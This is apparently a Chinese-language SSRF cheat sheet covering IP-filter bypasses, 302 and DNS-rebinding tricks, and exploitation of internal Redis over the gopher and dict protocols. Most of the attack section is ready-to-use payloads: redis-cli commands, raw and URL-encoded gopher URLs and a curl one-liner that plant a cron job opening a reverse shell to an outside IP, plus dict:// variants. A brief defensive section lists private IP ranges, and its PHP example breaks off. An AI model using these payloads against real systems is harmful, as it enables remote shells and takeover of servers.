描述
SSRF是一种常见的Web漏洞,通常存在于需要请求外部内容的逻辑中,比如本地化网络图片、XML解析时的外部实体注入、软件的离线下载等。当攻击者传入一个未经验证的URL,后端代码直接请求这个URL,将会造成SSRF漏洞。
绕过
1. host绕过
2. IP地址检查绕过
- 利用八进制IP地址绕过
- 利用十六进制IP地址绕过
- 利用十进制的IP地址绕过
- 利用IP地址的省略写法绕过
- 0.0.0.0
3. 控制域名解析
使用这个神奇的域名xip.io可以将解析到任意ip地址,使用方法:
1 | D:\libnum (master -> origin) |
4. 使用302跳转返回内网地址
输入的是一个外网地址,该地址服务器返回302状态码,location是内网ip如127.0.0.1。此时如果curl没有设置“禁止重定向”的话就会向重定向地址发出请求。
5. dns rebinding
利用
1.内外网的端口和服务扫描
2.[主机本地敏感数据的读取(https://www.codercto.com/a/59762.html)
3.内外网主机应用程序漏洞的利用(gopher)
4.内外网Web站点漏洞的利用
curl支持的协议:
1 | root@localhost :curl -V |
gopher协议 攻击redis
url=gopher://127.0.0.1:6379/info
攻击redis常用exp:(反弹shell至134.175.2.34的2333端口)
1
2
3
4
5
redis-cli -h 134.175.2.34 -p 6378 flushall
echo -e "\n\n*/1 * * * * bash -i >& /dev/tcp/134.175.2.34/2333 0>&1\n\n"|redis-cli -h 134.175.2.34 -p 6378 -x set 1
redis-cli -h 134.175.2.34 -p 6378 config set dir /var/spool/cron/
redis-cli -h 134.175.2.34 -p 6378 config set dbfilename root
redis-cli -h 134.175.2.34 -p 6378 save
gopher协议exp:
1
gopher://134.175.2.34:6378/_*1%0d%0a$8%0d%0aflushall%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$64%0d%0a%0d%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/134.175.2.34/23333 0>&1%0a%0a%0a%0a%0a%0d%0a%0d%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0aquit%0d%0a
将exp urlencode后在ssrf中使用:
1
http://localhost/CTF/ssrf.php?url=gopher://134.175.2.34:6378/_*1%25%30%64%25%30%61%24%38%25%30%64%25%30%61%66%6c%75%73%68%61%6c%6c%25%30%64%25%30%61%2a%33%25%30%64%25%30%61%24%33%25%30%64%25%30%61%73%65%74%25%30%64%25%30%61%24%31%25%30%64%25%30%61%31%25%30%64%25%30%61%24%36%34%25%30%64%25%30%61%25%30%64%25%30%61%25%30%61%25%30%61%2a%2f%31%20%2a%20%2a%20%2a%20%2a%20%62%61%73%68%20%2d%69%20%3e%26%20%2f%64%65%76%2f%74%63%70%2f%31%33%34%2e%31%37%35%2e%32%2e%33%34%2f%32%33%33%33%33%20%30%3e%26%31%25%30%61%25%30%61%25%30%61%25%30%61%25%30%61%25%30%64%25%30%61%25%30%64%25%30%61%25%30%64%25%30%61%2a%34%25%30%64%25%30%61%24%36%25%30%64%25%30%61%63%6f%6e%66%69%67%25%30%64%25%30%61%24%33%25%30%64%25%30%61%73%65%74%25%30%64%25%30%61%24%33%25%30%64%25%30%61%64%69%72%25%30%64%25%30%61%24%31%36%25%30%64%25%30%61%2f%76%61%72%2f%73%70%6f%6f%6c%2f%63%72%6f%6e%2f%25%30%64%25%30%61%2a%34%25%30%64%25%30%61%24%36%25%30%64%25%30%61%63%6f%6e%66%69%67%25%30%64%25%30%61%24%33%25%30%64%25%30%61%73%65%74%25%30%64%25%30%61%24%31%30%25%30%64%25%30%61%64%62%66%69%6c%65%6e%61%6d%65%25%30%64%25%30%61%24%34%25%30%64%25%30%61%72%6f%6f%74%25%30%64%25%30%61%2a%31%25%30%64%25%30%61%24%34%25%30%64%25%30%61%73%61%76%65%25%30%64%25%30%61%71%75%69%74%25%30%64%25%30%61
curl直接发起gopher攻击:
1
curl -v 'gopher://134.175.2.34:6378/_*1%0d%0a$8%0d%0aflushall%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$64%0d%0a%0d%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/134.175.2.34/23333 0>&1%0a%0a%0a%0a%0a%0d%0a%0d%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0aquit%0d%0a'
dict攻击redis
dict://127.0.0.1:6379/info
1
2
3
4
5
6
7
tools.php?a=s&u=dict://www.x.cn:6379/config:set:dir:/var/spool/cron/
tools.php?a=s&u=dict://www.x.cn:6379/config:set:dbfilename:root
tools.php?a=s&u=dict://www.x.cn:6379/set:0:"\x0a\x0a*/1\x20*\x20*\x20*\x20*\x20/bin/bash\x20-i\x20>\x26\x20/dev/tcp/vps/8888\x200>\x261\x0a\x0a\x0a"
tools.php?a=s&u=dict://www.x.cn:6379/save
遇到无回显ssrf怎么办
- 测试输入,看是否为Bool型。Bool型SSRF是根据返回包中的state进行判断,当state为”远程连接出错”或者为“SUCCESS”时表示该主机存在,且对应的端口为开放状态。
- dnslog
防御
检查请求url中的host不为内网ip即可。具体实现:
解析目标URL,获取其Host
解析Host,获取Host指向的IP地址
检查IP地址是否为内网IP
1
2
3
4
5192.168.0.0/16 => 192.168.0.0 ~ 192.168.255.255
10.0.0.0/8 => 10.0.0.0 ~ 10.255.255.255
172.16.0.0/12 => 172.16.0.0 ~ 172.31.255.255
127.0.0.0/8
0.0.0.0/8请求URL
如果有跳转,拿出跳转URL,执行1
PHP代码示例:
1 | function check_ip($url){ //检查是否是内网ip范围——方法一 |